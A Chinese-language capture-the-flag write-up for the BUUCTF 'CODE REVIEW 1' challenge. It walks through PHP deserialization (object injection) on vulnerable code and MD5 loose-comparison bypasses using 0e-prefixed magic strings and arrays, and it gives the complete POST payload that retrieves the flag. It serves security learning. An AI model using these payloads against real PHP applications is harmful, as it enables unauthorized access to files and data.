BUU CODE REVIEW 1 1

平台:BUUCTF在线评测 (buuoj.cn)

题目:

CODE REVIEW 意为代码审计

代码审计是指对程序源代码进行检查分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及针对由这些问题引发的安全漏洞,提供代码修复措施和建议。它是防御性编程范例的一个组成部分,它试图在软件发布之前减少错误。

简而言之从,意思就是让你分析这段代码的功能

这是一个php脚本,我们发现if后面的unserialize()

unserialize() 函数将二进制数据作为参数传递给 unserialize() 函数,并返回相应的 PHP 对象。当二进制数据被加密或编码时,unserialize() 函数可以将其解码为 PHP 对象。

if段内的代码是用get方法传递pleaseget变量值为1,用post方法传递pleasepost变量值为1,然后用post方法传递md51和md52的内容不同,但是md5值相同

由于代码是逐行运行的,因此我们想要达到unserialize() ,首先得使其运行if段内的函数

如何操作呢??

此时就需要我们利用一个php漏洞:反序列化漏洞(php对象注入)

详见:【技术分享】神奇的php反序列化-安全客 - 安全资讯平台 (anquanke.com)

其中就涉及unserialize() 这个函数

unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。返回的是转换之后的值,可为 integer、float、string、array 或 object。如果传递的字符串不可解序列化,则返回 FALSE。与之相对的函数serialize()序列化函数。

序列化:是将变量转换为可保存或传输的字符串的过程 ;(编码)

反序列化:就是在适当的时候把这个字符串再转化成原来的变量使用;(解码)

漏洞利用:

在本地运行代码打印出序列化后的数据

例子:原题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/

highlight_file(__FILE__);

class BUU {
public $correct = "";
public $input = "";

public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}

if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}

我们在后面加一句:

1
2
3
4
5
$obj=new BUU();
$obj->input =&$obj->correct;
$obj=serialize($obj);
echo $obj;
?>

变成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class BUU {
public $correct = "";
public $input = "";

public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}

if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
$obj=new BUU();
$obj->input =&$obj->correct;
$obj=serialize($obj);
echo $obj;
?>

运行结果形如

1
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

然后我们需要将if中满足的条件和上面的数据上传,因为要满足所有条件才可以进行反序列化

我们发现条件中有md5,这就牵扯到了MD5加密漏洞,也叫md5绕过(具体参见MD5加密漏洞(MD5绕过方式-0e绕过/数组绕过/MD5碰撞/MD5SQL注入)-阿里云开发者社区 (aliyun.com)

此处可以用到0e绕过数组绕过

0e绕过简而言之就是:0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;即为 0== 0,这个式子是永真的,所以我们只要传入两个md5值是以0e开头的参数,即可绕过md5加密

下面这些经过md5加密后均为以0e开头

QNKCDZO

240610708

byGcY

sonZ7y

aabg7XSs

aabC9RqS

s878926199a

s155964671a

s214587387a

s1091221200a

可以记录一下,具体用到几个就可以传几个

数组绕过

例如:

md5(a[]=1) === md5(b[]=1)

判断时,为

null=null

永真

好了,介绍完md5加密,接下来继续:

我们说到要将if中满足的条件和上面的数据上传,可以用hackbar这款插件,下面以火狐浏览器为例:

构造条件pleaseget和pleasepost

1
2
pleasepost=2&md51=s155964671a&md52=s214587387a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

点击execute后,回显flag